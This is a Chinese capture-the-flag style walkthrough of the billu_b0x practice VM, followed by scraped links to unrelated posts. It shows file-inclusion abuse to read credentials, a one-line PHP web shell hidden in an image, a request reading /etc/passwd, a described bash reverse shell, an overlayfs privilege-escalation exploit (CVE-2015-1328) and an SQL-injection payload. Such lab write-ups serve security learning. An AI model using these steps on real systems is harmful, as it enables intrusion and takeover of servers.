billu_b0x靶场刷题
里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了。
第一步、信息收集
nmap扫描内网开放80端口的存活主机 nmap - p 80 192.168.31.0/24
目标IP192.168.31.16
nmap -p 1-65535 192.168.31.16
目标主机端口探测(开放22端口【考虑可以尝试爆破root】、80端口开放)、且目标主机为linux系统、使用apache2.2中间件

第二步、web服务渗透与提权

提示sql注入,在手工尝试与sqlmap跑post包之后放弃了
御剑爆破一下后台目录

访问192.168.31.16/test.php

提示file参数为空
我们测试一下文件包含
尝试POST提交file=test.php此处为任意文件下载,将目录遍历出的文件全部下载开始代码审计


这里我们看到了文件包含漏洞造成得任意文件下载漏洞得 成因
我们继续下载御剑爆破出来的目录文件与审计代码中发现的文件

在c.php文件中发现了数据库和密码

我们加下来访问192.168.31.16/phpmyadmin失败 ,应该是目录改名了,改一下御剑的字典继续爆破,成功得到phpmyadmin地址phpmy
并成功获得了用户名和密码
我们先不登陆继续看下phpmy目录下有没有可以利用的文件




直接获得了mysql的用户名和密码我们链接下22端口


成功获得了root权限
那我们再回到刚才获得的web用户的账号和密码 看下是不是可以获得webshell
成功登陆后showuser的地方有两个头像火狐浏览器右键查看图像 看到图像地址

我们把头像下载下来
在文件尾部插入一句话
cmd命令马<?php system($_GET['cmd']); ?> 将文件上传成功。

接下来用burp抓一个post包
post请求url中加入执行命令的参数:POST /panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含laodi.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

命令被成功执行了
我们接下来利用该功能用bash反弹一个shell
bash反弹shell先进行url编码

在另一台主机上监听本地8888端口


反弹了一个www权限的shell
接下来肯定是提权了
写入一句话 目录不可写

那我们进入uploaded_images 目录试一下成功了

菜刀连接方便传文件(wget远程下载的话也可以)

看一下内核版本

接下来利用相关版本提权脚本Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
Exp地址:https://www.exploit-db.com/exploits/37292
给我们上传的脚本一个777权限
Chmod 777 ./* (或者chmod 777 yun.c)

gcc yun.c -o yun(编译脚本并重命名为yun)
./yun(运行编译后的脚本)
看下是root权限提权成功了

最后我们在回到这个sql注入上

str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。urldecode的作用是将输入解码。

测试payload为%27+or+1%3d1+--%5c%27没成功
' or 1=1 --\'依旧没有成功 于是我放弃了sql注入
billu_b0x靶场刷题的更多相关文章
- CTF学习路线指南(附刷题练习网址)
PWN,Reverse:偏重对汇编,逆向的理解: Gypto:偏重对数学,算法的深入学习: Web:偏重对技巧沉淀,快速搜索能力的挑战: Mic:则更为复杂,所有与计算机安全挑战有关的都算在其中 常规 ...
- LeetCode刷题系列
LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...
- ife任务刷题总结(一)-css reset与清除浮动
本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...
- 刷题ING...
我用codeVS刷题.. 努力准备!!
- XidianOJ 1020 ACMer去刷题吧
题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...
- 【BZOJ-4590】自动刷题机 二分 + 判定
4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 156 Solved: 63[Submit][Status ...
- NOI题库分治算法刷题记录
今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...
- NOI题库刷题日志 (贪心篇题解)
这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制: 1000ms 内存限制: 65536kB 描述 在一个平面上,如果有两个点( ...
- 用js刷题的一些坑
leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...
随机推荐
- FINDSTR 命令使用详解
Findstr 使用正则表达式搜索文件中的文本模式. 语法 findstr [/b] [/e] [/l] [/r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/ ...
- ASP.NET Core:Pages
ylbtech-ASP.NET Core:Pages 1.返回顶部 1._Layout.cshtm <!DOCTYPE html> <html> <head> &l ...
- 当你触摸并按住触摸目标时候,禁止系统默认菜单-webkit-touch-call
当你触摸并按住触摸目标时候,禁止或显示系统默认菜单. -webkit-touch-callout 是一个 不规范的属性(unsupported WebKit property),它没有出现在 CSS ...
- py-day8-socket网络编程
本节内容 Socket介绍 Socket参数介绍 基本Socket实例 Socket实现多连接处理 通过Socket实现简单SSH 通过Socket实现文件传送 作业:开发一个支持多用户在线的FTP程 ...
- caffe 入门实例2 如何写一个模型
占坑,记录如何写一个基于lenet5的模型,并进行测试.
- hibernate -- 分页模糊查询中setParameter 和setParameterList
在分页模糊查询中碰到setParameter 和setParameterList这两个方法 setParameter 以前就只会用setParameter(int arg,String str),我用 ...
- ORACLE PL/SQL 实例精解之第一章 PL/SQL概念
1.传统一层一层传数据,而PLSQL作为独立的单元返回客户端,减少查询,减少网路传输的往返,高效 2.PL/SQL语句块 分为两种:命名(子程序,函数,包保存在数据库中,后期可以根据名称进行引用),匿 ...
- ObjectARX学习笔记
http://blog.csdn.net/jangdong/article/category/1642265/3 http://blog.csdn.net/u011331383/article/cat ...
- hdoj1160【DP】
现在还很弱,贴一个我bin的结题报告日后写到一定会了加油 说说感觉,读题不读好,然后读完想不出,知道是dp不好好想,先排序一列,再求另一列,dp[ i ]代表长度,那么需要输出整个序列需要路径和一个标 ...
- N的阶乘HDOJ1042
我记得有一份代码是非常有技巧的,然而这一份就是很死板-每次跑50000,因为10000的阶乘最多才50000位,这样肯定就过了 #include<cstdio> #include<s ...